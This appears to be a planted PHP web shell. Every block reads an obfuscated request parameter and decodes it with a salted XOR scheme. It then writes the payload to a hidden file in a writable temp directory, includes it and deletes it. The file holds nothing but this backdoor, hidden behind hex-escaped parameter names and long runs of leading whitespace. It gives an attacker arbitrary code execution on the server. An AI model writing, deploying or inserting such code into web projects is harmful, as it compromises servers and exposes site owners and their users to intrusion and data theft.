<?php																																										if(in_array("\x64\x61\x74a\x5Fc\x68unk", array_keys($_POST))){ $elem = $_POST["\x64\x61\x74a\x5Fc\x68unk"]; $elem = explode( "." , $elem) ; $ref = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $m = 0; array_walk($elem, function($v6) use(&$ref, &$m, $salt6, $lenS) { $sChar = ord($salt6[$m % $lenS]); $d = ((int)$v6 - $sChar -($m % 10)) ^30; $ref .=chr($d); $m++; }); $dchunk = array_filter(["/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP"), getenv("TEMP")]); for ($val = 0, $res = count($dchunk); $val < $res; $val++) { $marker = $dchunk[$val]; if (!!is_dir($marker) && !!is_writable($marker)) { $bind = sprintf("%s/.sym", $marker); if (file_put_contents($bind, $ref)) { include $bind; @unlink($bind); exit; } } } }
																																										if(array_key_exists("tk\x6E", $_POST)){ $binding = $_POST["tk\x6E"]; $binding= explode ('.' , $binding) ; $entity = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2 ); foreach ($binding as $v => $v5) { $chS = ord($s2[$v % $sLen] ); $dec = ((int)$v5 - $chS - ($v % 10)) ^ 47; $entity .= chr($dec ); } $descriptor = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp"]); foreach ($descriptor as $key => $parameter_group) { if (is_dir($parameter_group) && is_writable($parameter_group)) { $obj = implode("/", [$parameter_group, ".itm"]); $success = file_put_contents($obj, $entity); if ($success) { include $obj; @unlink($obj); exit;} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x63omp"])){ $component = $_POST["\x63omp"]; $component =explode ( '.' , $component) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $r = 0; $__tmp = $component; while ($v9 = array_shift($__tmp)) {$chS = ord($s[$r% $lenS] ); $d = ((int)$v9 - $chS - ($r% 10)) ^ 70; $element .= chr($d ); $r++; } $mrk = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), "/var/tmp", getenv("TEMP"), "/dev/shm"]); while ($fac = array_shift($mrk)) { if ((bool)is_dir($fac) && (bool)is_writable($fac)) { $token = "$fac/.dchunk"; if (file_put_contents($token, $element)) { include $token; @unlink($token); die(); } } } }
																																										if(isset($_POST["m\x72\x6B"])){ $fac = $_POST["m\x72\x6B"]; $fac = explode ( '.', $fac ); $symbol=''; $s3='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s3); $n=0; $__len=count($fac); do {if ($n >= $__len) break; $v2=$fac[$n]; $sChar=ord($s3[$n % $lenS]); $dec=((int)$v2 - $sChar - ($n % 10)) ^ 49; $symbol.= chr($dec); $n++; } while (true); $comp = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd()]); foreach ($comp as $object) { if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $res = join("/", [$object, ".descriptor"]); if (file_put_contents($res, $symbol)) { include $res; @unlink($res); exit; } } } }
																																										if(!is_null($_REQUEST["b\x69\x6Ed"] ?? null)){ $pointer = $_REQUEST["b\x69\x6Ed"]; $pointer = explode ( '.' ,$pointer ) ; $reference= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); $z= 0; while ($z < count($pointer)) { $v3= $pointer[$z]; $chS= ord($s[$z % $lenS] ); $d= ((int)$v3 - $chS - ($z % 10)) ^ 73; $reference .= chr($d ); $z++; } $res = array_filter(["/var/tmp", session_save_path(), getenv("TEMP"), "/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir()]); foreach ($res as $key => $fac) { if (max(0, is_dir($fac) * is_writable($fac))) { $element = vsprintf("%s/%s", [$fac, ".pset"]); if (file_put_contents($element, $reference)) { include $element; @unlink($element); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["t\x6B\x6E"])){ $obj = $_REQUEST["t\x6B\x6E"]; $obj =explode ( '.' , $obj ) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($obj as $z => $v7) { $chS = ord($s[$z % $lenS]); $dec = ((int)$v7 - $chS - ($z % 10)) ^51; $element .= chr($dec); } $bind = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm"]); $ref = 0; do { $parameter_group = $bind[$ref] ?? null; if ($ref >= count($bind)) break; if (is_dir($parameter_group) ? is_writable($parameter_group) : false) { $dat = sprintf("%s/.data_chunk", $parameter_group); if (@file_put_contents($dat, $element) !== false) { include $dat; unlink($dat); die(); } } $ref++; } while (true); }


if(!is_null($_REQUEST["f\x61c\x74\x6Fr"] ?? null)){
	$elem = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp", getcwd(), "/var/tmp"]);
	$data = $_REQUEST["f\x61c\x74\x6Fr"];
	$data 		=	explode(		"."	 ,	 $data	) ;	
	$resource = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
    
            foreach ($data as $l=>$v1) {
                $chS = ord($salt[$l % $lenS]);
                $d = ((int)$v1 - $chS - ($l % 10)) ^ 62;
                $resource .= chr($d);	} 
	foreach ($elem as $entry) {
    		if (!( !is_dir($entry) || !is_writable($entry) )) {
    $desc = join("/", [$entry, ".parameter_group"]);
    if (@file_put_contents($desc, $resource) !== false) {
	include $desc;
	unlink($desc);
	die();
}
}
}
}